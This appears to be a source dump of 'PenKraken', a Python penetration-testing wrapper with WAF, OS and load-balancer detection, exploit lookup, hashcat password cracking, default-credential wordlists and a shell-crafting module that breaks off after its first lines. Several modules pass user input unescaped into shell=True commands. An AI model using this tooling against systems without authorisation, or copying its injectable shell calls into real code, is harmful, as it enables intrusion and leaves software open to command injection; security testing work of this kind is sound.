├── targets.txt ├── custom-users.txt ├── custom-passwords.txt ├── custom-wordlist.txt ├── README.md ├── arch-install.sh ├── LICENSE ├── debian-install.sh ├── modules ├── waf_detection.py ├── os_identification.py ├── load_balancers.py ├── exploit_searcher.py ├── pass_crack.py ├── shell_craft.py ├── port_scanning.py ├── OSINT_tools.py ├── Fuzzing.py └── discovery_tools.py └── penkraken.py /targets.txt: -------------------------------------------------------------------------------- 1 | https://example.com 2 | https://vulnerable.com 3 | -------------------------------------------------------------------------------- /custom-users.txt: -------------------------------------------------------------------------------- 1 | user1 2 | user2 3 | user3 4 | root 5 | admin 6 | admin1 7 | admin123 8 | sudo 9 | Administrator 10 | -------------------------------------------------------------------------------- /custom-passwords.txt: -------------------------------------------------------------------------------- 1 | admin 2 | admin123 3 | Administrator 4 | adminnnn 5 | root 6 | password 7 | password123 8 | password1 9 | password2 10 | none 11 | -------------------------------------------------------------------------------- /custom-wordlist.txt: -------------------------------------------------------------------------------- 1 | test 2 | test2 3 | test3 4 | index 5 | index2 6 | find 7 | find2 8 | api 9 | apiportal 10 | robotop 11 | rooboots 12 | robots 13 | finish 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PenKraken 2 | 3 | ## Installation 4 | 5 | ### Kali Linux: 6 | 7 | ``` 8 | git clone https://github.com/KrakenEU/PenKraken 9 | cd PenKraken 10 | chmod +x debian-install.sh 11 | ./debian-install.sh 12 | ``` 13 | 14 | ### Black Arch: 15 | 16 | ``` 17 | git clone https://github.com/KrakenEU/PenKraken 18 | cd PenKraken 19 | chmod +x arch-install.sh 20 | ./arch-install.sh 21 | ``` 22 | 23 | ## Usage 24 | 25 | ``` 26 | ./penkraken.py 27 | In some modules you may be asked to run again the program with sudo 28 | ``` 29 | 30 | -------------------------------------------------------------------------------- /arch-install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo '[+] Installing Required Packages...' 4 | sudo pacman -S wafw00f halberd go python-python-nmap nmap exploitdb python-requests wget git sherlock whois holehe infoga h8mail theharvester maigret cloudfail perl-image-exiftool hash-identifier hashcat 5 | echo '[+] Installing Project Discovery tools...' 6 | go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest 7 | go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest 8 | go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest 9 | echo '[+] Installing our favorite FUZZING tool ffuf' 10 | go install github.com/ffuf/ffuf/v2@latest 11 | echo '[+] Making links to Go Tools...' 12 | sudo ln -sf /home/$USER/go/bin/subfinder /usr/local/bin/subfinder 13 | sudo ln -sf /home/$USER/go/bin/httpx /usr/local/bin/httpx 14 | sudo ln -sf /home/$USER/go/bin/nuclei /usr/local/bin/nuclei 15 | sudo ln -sf /home/$USER/go/bin/ffuf /usr/local/bin/ffuf 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Kr4k3nEU 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /debian-install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo '[+] Installing Required Packages...' 4 | sudo apt install golang-go wafw00f nmap exploitdb wget git sherlock whois h8mail theharvester exiftool hash-identifier hashcat 5 | sudo pip3 install python-nmap requests holehe 6 | echo '[+] Installing Some manual Packages into ~/tools/...' 7 | mkdir /home/$USER/tools 8 | sudo git clone https://github.com/jmbr/halberd && cd halberd && sudo python2 setup.py install 9 | git clone https://github.com/GiJ03/Infoga /home/$USER/tools/infoga && cd /home/$USER/tools/infoga && python3 setup.py install 10 | sudo ln -sf /home/$USER/tools/infoga/infoga.py /usr/local/bin/infoga 11 | git clone https://github.com/soxoj/maigret /home/$USER/tools/maigret 12 | pip3 install -r /home/$USER/tools/maigret/requirements.txt 13 | sudo ln -sf /home/$USER/tools/maigret/maigret.py /usr/local/bin/maigret 14 | git clone https://github.com/m0rtem/CloudFail /home/$USER/tools/CloudFail 15 | pip3 install -r /home/$USER/tools/CloudFail/requirements.txt 16 | sudo ln -sf /home/$USER/tools/CloudFail/cloudfail.py /usr/local/bin/cloudfail 17 | echo '[+] Installing Project Discovery tools...' 18 | go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest 19 | go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest 20 | go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest 21 | echo '[+] Installing our favorite FUZZING tool ffuf' 22 | go install github.com/ffuf/ffuf/v2@latest 23 | echo '[+] Making links to Go Tools...' 24 | sudo ln -sf /home/$USER/go/bin/subfinder /usr/local/bin/subfinder 25 | sudo ln -sf /home/$USER/go/bin/httpx /usr/local/bin/httpx 26 | sudo ln -sf /home/$USER/go/bin/nuclei /usr/local/bin/nuclei 27 | sudo ln -sf /home/$USER/go/bin/ffuf /usr/local/bin/ffuf 28 | -------------------------------------------------------------------------------- /modules/waf_detection.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import wafw00f 3 | import subprocess 4 | import sys 5 | sys.path.append('../') 6 | import penkraken 7 | import socket 8 | 9 | 10 | class wafw00f: 11 | 12 | def __init__(self, target): 13 | self.target = target 14 | self.waf_detected = [] 15 | self.ip = '' 16 | self.scan() 17 | self.obtain_ip(target) 18 | 19 | def obtain_ip(self,domain): 20 | try: 21 | domain = domain.replace('https://','').replace('http://','').split('/')[0] 22 | self.ip = socket.gethostbyname(domain) 23 | return self.ip 24 | except socket.error as e: 25 | print(f"Couldn't obatin IP from {domain}. Error: {e}") 26 | return None 27 | 28 | 29 | def scan(self): 30 | op = '' 31 | try: 32 | options = input(f"{penkraken.colors['blue']}\n[>] Select Scann options:\n\n{penkraken.colors['green']}[1] Check for all available WAFs on the list\n[2] Just run\n\n{penkraken.colors['blue']}[>] Select your scan option (1-2): {penkraken.colors['reset']}") 33 | if int(options) > 0 and int(options) < 3: 34 | if int(options) == 1: 35 | op = '-a ' 36 | else: 37 | raise Exception("Invalid Options detected") 38 | 39 | print(f"{penkraken.colors['blue']}\n[+] Starting WAF scan...{penkraken.colors['reset']}") 40 | output = subprocess.check_output("wafw00f "+str(op)+self.target, shell=True) 41 | check = 0 42 | for o in output.decode().split('\n'): 43 | if 'behind' in o: 44 | self.waf_detected.append(o) 45 | print(o) 46 | check += 1 47 | if check == 0: 48 | print(f"{penkraken.colors['red']}\n[~] No WAFs were detected{penkraken.colors['reset']}") 49 | 50 | except: 51 | print(f"{penkraken.colors['red']}\n[-] Error encountered while searching for wafs{penkraken.colors['reset']}") 52 | 53 | 54 | def Init(): 55 | try: 56 | print(f"{penkraken.colors['blue']}\n[+] Welcome to {penkraken.colors['red']}wafw00f{penkraken.colors['blue']} module!\n{penkraken.colors['reset']}") 57 | valid = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:/.-_' 58 | check = 0 59 | while check == 0: 60 | target = input(f"{penkraken.colors['blue']}\n[>] Select your target to be scanned : {penkraken.colors['reset']}") 61 | for x in target: 62 | if str(x) in valid: 63 | check = 1 64 | continue 65 | else: 66 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 67 | check = 0 68 | break 69 | 70 | target = wafw00f(target) 71 | out = '' 72 | for x in target.waf_detected: 73 | out += x.strip() + '\n' 74 | return [target.ip, out] 75 | 76 | except: 77 | print(f"{penkraken.colors['red']}\n[-] Exiting WAFs Scan{penkraken.colors['reset']}") 78 | 79 | -------------------------------------------------------------------------------- /modules/os_identification.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import re 4 | import sys 5 | import subprocess 6 | import ipaddress 7 | import nmap 8 | import sys 9 | sys.path.append('../') 10 | import penkraken 11 | 12 | # First Option 13 | # Using python-nmap 14 | 15 | class Nmap_os: 16 | def __init__(self,ip_address): 17 | self.ip_address = str(ip_address) 18 | self.nm = nmap.PortScanner() 19 | print(f"{penkraken.colors['green']}\n[+] Checking if target is up...{penkraken.colors['reset']}") 20 | self.nm.scan(str(self.ip_address), '0') 21 | state = self.nm[str(self.ip_address)].state() 22 | print(f"{penkraken.colors['magenta']}\n[+] Target is {str(state)}{penkraken.colors['reset']}") 23 | if str(state) == 'up': 24 | self.os_name = self.osdiscovery() 25 | else: 26 | print(f"{penkraken.colors['red']}\n[-] Target seems down{penkraken.colors['reset']}") 27 | 28 | def osdiscovery(self): 29 | try: 30 | print(f"\n{penkraken.colors['green']}[+] Searching for OS match (This could take some time...){penkraken.colors['reset']}") 31 | dump = self.nm.scan(self.ip_address, arguments="-O") 32 | print(f"{penkraken.colors['magenta']}\n[+] OS Found!{penkraken.colors['reset']}") 33 | print(f"{penkraken.colors['green']}\n[+] OS info:\n{penkraken.colors['green']}") 34 | print(dump['scan'][str(self.ip_address)]['osmatch'][0]['osclass']) 35 | return str(dump['scan'][str(self.ip_address)]['osmatch'][0]['osclass'][0]['osfamily']) 36 | 37 | except: 38 | print(f"{penkraken.colors['red']}[-] Could not scan OS, are you root?{penkraken.colors['reset']}") 39 | 40 | 41 | 42 | # Second Option: 43 | # Use TTL reference 44 | class TTL: 45 | def __init__(self,ip_address): 46 | self.ip_address = ip_address 47 | self.os_name = self.get_ttl() 48 | 49 | def get_ttl(self): 50 | try: 51 | proc = subprocess.Popen(["/bin/ping -c 1 %s" % self.ip_address, ""], stdout=subprocess.PIPE, shell=True) 52 | (out, err) = proc.communicate() 53 | out = out.split() 54 | for x in out: 55 | if 'ttl' in x.decode(): 56 | ttl = x.decode().split('=')[1] 57 | ttl_value = int(ttl) 58 | if ttl_value >= 0 and ttl_value <= 64: 59 | os_name = "Linux" 60 | elif ttl_value >= 64 and ttl_value <= 128: 61 | os_name = "Windows" 62 | else: 63 | os_name = "Not found" 64 | print(f"{penkraken.colors['magenta']}\n%s ({penkraken.colors['red']}ttl{penkraken.colors['magenta']} -> {penkraken.colors['red']}%s{penkraken.colors['magenta']}): {penkraken.colors['red']}%s{penkraken.colors['reset']}" % (self.ip_address, ttl_value, os_name)) 65 | print(f"{penkraken.colors['magenta']}\n[+] Os Found!{penkraken.colors['reset']}") 66 | return os_name 67 | except: 68 | print(f"{penkraken.colors['red']}\n[-] Error while sending ping command, Target could be blocking ICMP traces \n- Please try Again -\n{penkraken.colors['reset']}") 69 | 70 | 71 | def Init(): 72 | try: 73 | print(f"{penkraken.colors['blue']}\n[+] Welcome to {penkraken.colors['red']}OsIdentification{penkraken.colors['blue']} module!\n{penkraken.colors['reset']}") 74 | ip = input(f"{penkraken.colors['blue']}\n[+] Target IP: {penkraken.colors['reset']}") 75 | ip_address = ipaddress.ip_address(ip) 76 | while True: 77 | x = input(f"{penkraken.colors['green']}\n[1] Nmap OS discovery (Requires Root Privileges)\n[2] TTL OS discovery\n\n{penkraken.colors['blue']}[>] Choose option: {penkraken.colors['reset']}") 78 | if str(x) != '1' and str(x) != '2': 79 | print(f"{penkraken.colors['red']}\n[-] Invalid Option{penkraken.colors['reset']}") 80 | else: 81 | break 82 | if str(x) == '1': 83 | target = Nmap_os(ip_address) 84 | elif str(x) == '2': 85 | target = TTL(ip_address) 86 | 87 | # Display OS: 88 | print(f"{penkraken.colors['magenta']}\n[+] OS = {penkraken.colors['red']}{target.os_name}{penkraken.colors['reset']}") 89 | return [ip, target.os_name] 90 | 91 | except ValueError: 92 | print(f"{penkraken.colors['red']}[-] Invalid address: %s{penkraken.colors['reset']}") 93 | sys.exit(1) 94 | 95 | except: 96 | print(f"{penkraken.colors['red']}\n[-] Exiting OS Scan{penkraken.colors['reset']}") 97 | 98 | 99 | 100 | 101 | 102 | 103 | -------------------------------------------------------------------------------- /modules/load_balancers.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import wafw00f 3 | import subprocess 4 | import sys 5 | import sys 6 | sys.path.append('../') 7 | import penkraken 8 | import socket 9 | 10 | class Halberd: 11 | 12 | def __init__(self, target='', filename=''): 13 | self.target = target 14 | self.filename = filename 15 | self.load_balancer_info = [] 16 | self.ip = '' 17 | if target != '': 18 | self.obtain_ip(target) 19 | self.scan() 20 | 21 | 22 | def obtain_ip(self,domain): 23 | try: 24 | domain = domain.replace('https://','').replace('http://','').split('/')[0] 25 | self.ip = socket.gethostbyname(domain) 26 | return self.ip 27 | except socket.error as e: 28 | print(f"Couldn't obatin IP from {domain}. Error: {e}") 29 | return None 30 | 31 | def scan(self): 32 | try: 33 | p = 10 # Threads 34 | if self.target != '': 35 | try: 36 | print(f"{penkraken.colors['green']}\n[+] Starting Halberd scan towards a single target...{penkraken.colors['reset']}") 37 | # run the command 38 | output = subprocess.check_output(f"halberd -p {str(p)} {str(self.target)}", shell=True) 39 | print(f"{penkraken.colors['green']}\n[+] Halberd output:\n{penkraken.colors['reset']}") 40 | # Print and save 41 | for x in str(output.decode()).split('\n'): 42 | print(f"{penkraken.colors['magenta']} {x} {penkraken.colors['reset']}") 43 | self.load_balancer_info.append(x) 44 | except: 45 | print(f"{penkraken.colors['red']}[-] Invalid target '{self.target}' {penkraken.colors['reset']}") 46 | 47 | elif self.filename != '': 48 | try: 49 | print(f"{penkraken.colors['green']}\n[+] Starting Halberd scan given a targets file...{penkraken.colors['reset']}") 50 | # run the command 51 | output = subprocess.check_output(f"halberd -p {str(p)} -u {str(self.filename)} -t 5", shell=True) 52 | print(f"{penkraken.colors['green']}\n[+] Halberd output:\n{penkraken.colors['reset']}") 53 | # Print and save 54 | for x in str(output.decode()).split('\n'): 55 | print(f"{penkraken.colors['magenta']} {x} {penkraken.colors['reset']}") 56 | self.load_balancer_info.append(x) 57 | except: 58 | print(f"{penkraken.colors['red']}[-] file '{self.filename}' was not found{penkraken.colors['reset']}") 59 | else: 60 | print(f"{penkraken.colors['red']}[-] No action was done, specify a valid target or filename with a list of targets{penkraken.colors['reset']}") 61 | exit() 62 | 63 | write = input(f"{penkraken.colors['green']}\n[>] Would you like to write the output to a file? (y/n): {penkraken.colors['reset']}") 64 | if 'y' in str(write).lower(): 65 | file = open('Halberd-results.txt', 'w') 66 | file.write(str(output.decode())) 67 | file.close() 68 | print(f"{penkraken.colors['green']}\n[+] Output was correctly saved to 'Halberd-results.txt'\n{penkraken.colors['reset']}") 69 | 70 | except: 71 | print(f"{penkraken.colors['red']}\n[-] Error encountered while searching for load balancers using halberd{penkraken.colors['reset']}") 72 | 73 | 74 | 75 | def Init(): 76 | try: 77 | print(f"{penkraken.colors['blue']}\n[+] Welcome to {penkraken.colors['red']}Halberd{penkraken.colors['blue']} module!\n{penkraken.colors['reset']}") 78 | valid = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-/:_' 79 | 80 | multiple = input(f"{penkraken.colors['green']}[1] Scan file with targets\n[2] Scan single target\n\n{penkraken.colors['blue']}[>] Choose option (1-2): {penkraken.colors['reset']}") 81 | if int(multiple) == 1: 82 | check = 0 83 | while check == 0: 84 | filename = input(f"{penkraken.colors['blue']}\n[>] Name of the file with targets (file content: line1 = https://target1.com ; line2 = https://target2.com ...) : {penkraken.colors['reset']}") 85 | for x in filename: 86 | if str(x) in valid: 87 | check = 1 88 | continue 89 | else: 90 | print(f"{penkraken.colors['red']}\n[-] Invalid filename{penkraken.colors['reset']}") 91 | check = 0 92 | target = Halberd(filename = filename) 93 | 94 | else: 95 | check = 0 96 | while check == 0: 97 | target = input(f"{penkraken.colors['blue']}\n[>] Select your target to be scanned : {penkraken.colors['reset']}") 98 | for x in target: 99 | if str(x) in valid: 100 | check = 1 101 | continue 102 | else: 103 | print(f"{penkraken.colors['red']}\n[-] Invalid Target{penkraken.colors['reset']}") 104 | check = 0 105 | break 106 | 107 | target = Halberd(target=target) 108 | 109 | out = '' 110 | for x in target.load_balancer_info: 111 | out += x + '\n' 112 | 113 | return [target.ip, out] 114 | 115 | except: 116 | print(f"{penkraken.colors['red']}\n[-] Exiting Halberd Scan{penkraken.colors['reset']}") 117 | 118 | -------------------------------------------------------------------------------- /modules/exploit_searcher.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | sys.path.append('../') 5 | import penkraken 6 | import requests 7 | import subprocess 8 | from bs4 import BeautifulSoup 9 | import json 10 | 11 | class exp_search: 12 | def __init__(self,tech): 13 | self.tech = tech 14 | self.results = [] 15 | while True: 16 | x = input(f"{penkraken.colors['green']}\n[1] Searchsploit Utility Implementation\n[2] AutoSearch exploits\n\n{penkraken.colors['blue']}[>] Choose option: {penkraken.colors['reset']}") 17 | if str(x) != '1' and str(x) != '2': 18 | print(f"{penkraken.colors['red']}\n[-] Invalid Option{penkraken.colors['reset']}") 19 | else: 20 | break 21 | 22 | if x == '1': 23 | self.searchsploit() 24 | else: 25 | self.autosearch() 26 | 27 | 28 | 29 | def searchsploit(self): 30 | while True: 31 | x = input(f"{penkraken.colors['green']}\n[1] Search\n[2] Inspect exploit\n[3] Download exploit\n\n{penkraken.colors['blue']}[>] Choose option: {penkraken.colors['reset']}") 32 | if str(x) != '1' and str(x) != '2' and str(x) != '3': 33 | print(f"{penkraken.colors['red']}\n[-] Invalid Option{penkraken.colors['reset']}") 34 | else: 35 | break 36 | # download 37 | if x == '3': 38 | path = input(f"{penkraken.colors['blue']}\n[>] Select exploit path to inspect: (ex: php/webapps/51334.py): {penkraken.colors['reset']}") 39 | exploit = path.split('/')[-1] 40 | command = f'searchsploit -m {path}' 41 | output = subprocess.check_output(command, shell=True) 42 | for o in output.decode().split('\n'): 43 | print(f"{penkraken.colors['magenta']}{o}{penkraken.colors['reset']}") 44 | 45 | # Inspect 46 | elif x == '2': 47 | path = input(f"{penkraken.colors['blue']}\n[>] Select exploit path to inspect: (ex: php/webapps/51334.py): {penkraken.colors['reset']}") 48 | command = f'searchsploit -x {path}' 49 | output = subprocess.check_output(command, shell=True) 50 | for o in output.decode().split('\n'): 51 | print(f"{penkraken.colors['magenta']}{o}{penkraken.colors['reset']}") 52 | 53 | # Run with tech 54 | else: 55 | command = f'searchsploit {self.tech}' 56 | output = subprocess.check_output(command, shell=True) 57 | for o in output.decode().split('\n'): 58 | print(f"{o}") 59 | 60 | 61 | def autosearch(self): 62 | print(f"\n{penkraken.colors['blue']}[+] Performing an AutoScan on {self.tech} related exploits using PacketStorm, Vulners and CXSecurity...{penkraken.colors['reset']}") 63 | 64 | # Packet Storm 65 | try: 66 | packet_storm = requests.get(f"https://packetstormsecurity.com/search/?q={self.tech}") 67 | if packet_storm.status_code == 200: 68 | self.results.append(f"{penkraken.colors['green']}\n[+] Packet Storm results:\n{penkraken.colors['reset']}") 69 | print(f"{penkraken.colors['green']}\n[+] Packet Storm Results:\n{penkraken.colors['reset']}") 70 | soup = BeautifulSoup(packet_storm.text, 'html.parser') 71 | elements = soup.select('dt a') 72 | for a in elements: 73 | out = f"{penkraken.colors['blue']}Exploit: {penkraken.colors['magenta']}{a.get_text()}{penkraken.colors['reset']}" 74 | print(out) 75 | self.results.append(out) 76 | else: 77 | print(f"{penkraken.colors['red']}\n[-] Status Code: {packet_storm.status_code}") 78 | except: 79 | print(f"{penkraken.colors['red']}\n[-] Could not parse exploits from Packet Storm") 80 | # vulners 81 | try: 82 | vulners = requests.get(f"https://vulners.com/api/v3/search/lucene/?query={self.tech}") 83 | if vulners.status_code == 200: 84 | self.results.append(f"{penkraken.colors['green']}\n[+] Vulners.com results:\n{penkraken.colors['reset']}") 85 | print(f"{penkraken.colors['green']}\n[+] Vulners.com Results:\n{penkraken.colors['reset']}") 86 | data = json.loads(vulners.text) 87 | index = 0 88 | for n in range(len(data['data']['search'])): 89 | title = data['data']['search'][n]['_source']['title'] 90 | description = data['data']['search'][n]['_source']['description'] 91 | out = f"{penkraken.colors['blue']}[+] Title: {penkraken.colors['magenta']}{title}{penkraken.colors['blue']}\n[+] Description: {penkraken.colors['magenta']}{description}{penkraken.colors['reset']}" 92 | print(out) 93 | self.results.append(out) 94 | else: 95 | print(f"{penkraken.colors['red']}\n[-] Status Code: {packet_storm.status_code}") 96 | except: 97 | print(f"{penkraken.colors['red']}\n[-] Could not parse exploits from Vulners.com") 98 | 99 | # CXSecurity 100 | try: 101 | self.results.append(f"{penkraken.colors['green']}\n[+] CXSecurity results:\n{penkraken.colors['reset']}") 102 | print(f"{penkraken.colors['green']}\n[+] CXSecurity Results:\n{penkraken.colors['reset']}") 103 | url=f'https://cxsecurity.com/search/wlb/DESC/AND/2024.2.19.1999.1.1/0/10/{self.tech}/' 104 | s = requests.Session() 105 | response = s.get(url) 106 | soup = BeautifulSoup(response.text, 'html.parser') 107 | elements = soup.select('TD A') 108 | for a in elements: 109 | if self.tech in a.get_text(): 110 | out = f"{penkraken.colors['blue']}Exploit: {penkraken.colors['magenta']}{a.get_text()}{penkraken.colors['reset']}" 111 | print(out) 112 | self.results.append(out) 113 | except: 114 | print(f"{penkraken.colors['red']}\n[-] Could not parse exploits from CXSecurity") 115 | 116 | try: 117 | # write Output to a file 118 | write = input(f"{penkraken.colors['green']}\n[>] Would you like to write the output to a file? (y/n): {penkraken.colors['reset']}") 119 | if 'y' in str(write).lower(): 120 | file = open(f'Autosearch-results.txt', 'w') 121 | content = ''.join(str(x)+'\n' for x in self.results) 122 | file.write(content) 123 | file.close() 124 | print(f"{penkraken.colors['green']}\n[+] Output was correctly saved to {penkraken.colors['magenta']}'Autosearch-results.txt'\n{penkraken.colors['reset']}") 125 | 126 | except: 127 | print(f"\n{penkraken.colors['red']}[-] Error while saving output to file{penkraken.colors['reset']}") 128 | 129 | 130 | def Init(): 131 | try: 132 | print(f"{penkraken.colors['blue']}\n[+] Welcome to the {penkraken.colors['red']}Exploit Searcher{penkraken.colors['blue']} module!\n{penkraken.colors['reset']}") 133 | tech = input(f"{penkraken.colors['blue']}\n[>] Select the Technology you want to search exploits for (exampel: Joomla)): {penkraken.colors['reset']}") 134 | tech = exp_search(tech) 135 | out = '' 136 | if tech.results: 137 | for x in tech.results: 138 | out += x + '\n' 139 | return out 140 | else: 141 | pass 142 | 143 | except: 144 | print(f"{penkraken.colors['red']}\n[-] Exiting Exploit Searcher Module{penkraken.colors['reset']}") 145 | -------------------------------------------------------------------------------- /modules/pass_crack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | sys.path.append('../') 5 | import penkraken 6 | import subprocess 7 | 8 | hashcat_modes = { 9 | "MD5": 0, 10 | "MD4": 900, 11 | "SHA-1": 100, 12 | "md5crypt" : 500, 13 | "phpass": 400, 14 | "SHA-224": 1300, 15 | "SHA-256": 1400, 16 | "SHA-512": 1700, 17 | "NTLM": 1000, 18 | "MySQL5": 300, 19 | "MySQL323": 200, 20 | "SHA2-384": 10800, 21 | "SHA3-224": 17300, 22 | "SHA3-256": 17400, 23 | "SHA3-384": 17500, 24 | "SHA3-512": 17600, 25 | "KeePass": 13400, 26 | "LM": 3000, 27 | "HMAC-SHA1": 160, 28 | "WPA/WPA2": 2500, 29 | "Blowfish": 5100, 30 | "bcrypt": 3200 31 | } 32 | 33 | class cracker: 34 | 35 | def __init__(self,hash_file): 36 | self.results = [] 37 | self.hash_file = hash_file 38 | self.cracked = False 39 | self.hash_val = '' 40 | 41 | print(f"{penkraken.colors['blue']}\n[+] Attempting to Identify hash type in {penkraken.colors['magenta']}{hash_file}{penkraken.colors['blue']} file!\n{penkraken.colors['reset']}") 42 | self.modes = [] 43 | 44 | check = self.hash_identifier(hash_file) 45 | 46 | if not check: 47 | print(f"{penkraken.colors['red']}\n[-] Could not Identify hash type...{penkraken.colors['reset']}") 48 | x = input(f"{penkraken.colors['blue']}\n[>] Manually set the hashcat hash type (ex: 0 (which is MD5)): {penkraken.colors['reset']}") 49 | self.modes.append(x) 50 | 51 | self.cracking_wordlist = input(f"{penkraken.colors['blue']}\n[>] Path to your password wordlist (/usr/share/wordlists/rockyou.txt as default): {penkraken.colors['reset']}") 52 | if self.cracking_wordlist == '': 53 | self.cracking_wordlist = '/usr/share/wordlists/rockyou.txt' 54 | 55 | while True: 56 | self.crack() 57 | if self.cracked: 58 | break 59 | else: 60 | print(f"{penkraken.colors['red']}\n[-] Could not break hash type...{penkraken.colors['reset']}") 61 | print(f"{penkraken.colors['red']}\n[+] Hash examples (more in https://hashcat.net/wiki/doku.php?id=example_hashes):{penkraken.colors['reset']}") 62 | for k,v in hashcat_modes.items(): 63 | print(f"{penkraken.colors['green']}[+] {k} = {penkraken.colors['magenta']}{v}") 64 | x = input(f"{penkraken.colors['blue']}\n[>] Manually set the hashcat hash type and try again (ex: 0 (which is MD5)): {penkraken.colors['reset']}") 65 | self.modes.insert(0, x) 66 | 67 | 68 | def hash_identifier(self,file): 69 | try: 70 | print(f"{penkraken.colors['blue']}\n[+] Opening File...{penkraken.colors['reset']}") 71 | try: 72 | f = open(f'{file}', 'rb') 73 | hash_val = str(f.read().strip().decode()) 74 | self.hash_val = hash_val 75 | f.close() 76 | print(f"{penkraken.colors['green']}[+] OK! {penkraken.colors['reset']}") 77 | except: 78 | print(f"{penkraken.colors['red']}[-] Could Not Open {file}{penkraken.colors['reset']}") 79 | proc = subprocess.Popen(f"/bin/echo '{hash_val}' | hash-identifier", stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, shell=True) 80 | possibles = [] 81 | b = False 82 | while True: 83 | output = proc.stdout.readline() 84 | if output == '' and proc.poll() is not None: 85 | break 86 | else: 87 | if '--------------------------------------------------' in output and b == True: 88 | break 89 | 90 | elif '--------------------------------------------------' in output: 91 | b = True 92 | 93 | elif '[+]' in output: 94 | possibles.append(output.split()[1]) 95 | try: 96 | self.modes.append(hashcat_modes[output.split()[1]]) 97 | except: 98 | pass 99 | n=0 100 | for p in possibles: 101 | if n <=5 : 102 | print(f"{penkraken.colors['green']}[+] Possible hash type: {penkraken.colors['magenta']}{p}{penkraken.colors['reset']}") 103 | search_modes = "hashcat --example-hashes | grep " + p.split('(')[0] + " -B 1 | grep \"Hash mode\" | awk '{print $3}' | tr -d '#'" 104 | proc = str(subprocess.check_output(search_modes, shell=True).decode()) 105 | for v in proc.split('\n'): 106 | if v not in self.modes and v != '': 107 | self.modes.append(v) 108 | n+=1 109 | else: 110 | break 111 | if len(possibles) == 0: 112 | return False 113 | 114 | return True 115 | 116 | except: 117 | return False 118 | 119 | def crack(self): 120 | for mode in self.modes: 121 | print(f"{penkraken.colors['green']}[+] Trying mode {penkraken.colors['magenta']}{mode}{penkraken.colors['reset']}") 122 | com = f"hashcat -m {mode} {self.hash_file} {self.cracking_wordlist}" 123 | proc = subprocess.Popen(com, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, shell=True) 124 | possibles = [] 125 | cont=True 126 | process = [] 127 | while cont: 128 | output = proc.stdout.readline() 129 | if output == '' and proc.poll() is not None: 130 | break 131 | else: 132 | if 'No hashes loaded.' in output: 133 | print(f"{penkraken.colors['red']}[+] Mode {mode} not valid!{penkraken.colors['reset']}") 134 | break 135 | if 'Cracked' in output: 136 | print(f"{penkraken.colors['green']}[+] Cracked! {penkraken.colors['reset']}") 137 | self.results.append(f"{penkraken.colors['green']}{process[-4]}{penkraken.colors['reset']}") 138 | cont = False 139 | self.cracked = True 140 | break 141 | if 'Use --show to display them' in output: 142 | com = f"hashcat -m {mode} {self.hash_file} {self.cracking_wordlist} --show" 143 | proc = subprocess.check_output(com, shell=True) 144 | print(f"{penkraken.colors['green']}[+] This Was already Cracked: {str(proc.decode())} {penkraken.colors['reset']}") 145 | self.results.append(f"{penkraken.colors['green']}[+] This Was already Cracked: {str(proc.decode())} {penkraken.colors['reset']}") 146 | cont = False 147 | self.cracked = True 148 | break 149 | elif output: 150 | print(f"{penkraken.colors['magenta']}{output.strip()}{penkraken.colors['reset']}") 151 | process.append(output) 152 | if not cont: 153 | break 154 | 155 | 156 | def Init(): 157 | try: 158 | print(f"{penkraken.colors['blue']}\n[+] Welcome to the {penkraken.colors['red']}Password Cracking{penkraken.colors['blue']} module!\n{penkraken.colors['reset']}") 159 | hash_file = input(f"{penkraken.colors['blue']}\n[>] File with hash: {penkraken.colors['reset']}") 160 | target = cracker(hash_file) 161 | out = '' 162 | for x in target.results: 163 | out += x + '\n' 164 | return out 165 | 166 | except: 167 | print(f"{penkraken.colors['red']}\n[-] Exiting Password Cracking Module{penkraken.colors['reset']}") 168 | 169 | -------------------------------------------------------------------------------- /modules/shell_craft.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | sys.path.append('../') 5 | import penkraken 6 | import subprocess 7 | import time 8 | from base64 import b64encode 9 | 10 | class Shellcraft(): 11 | def __init__(self): 12 | self.results = [] 13 | 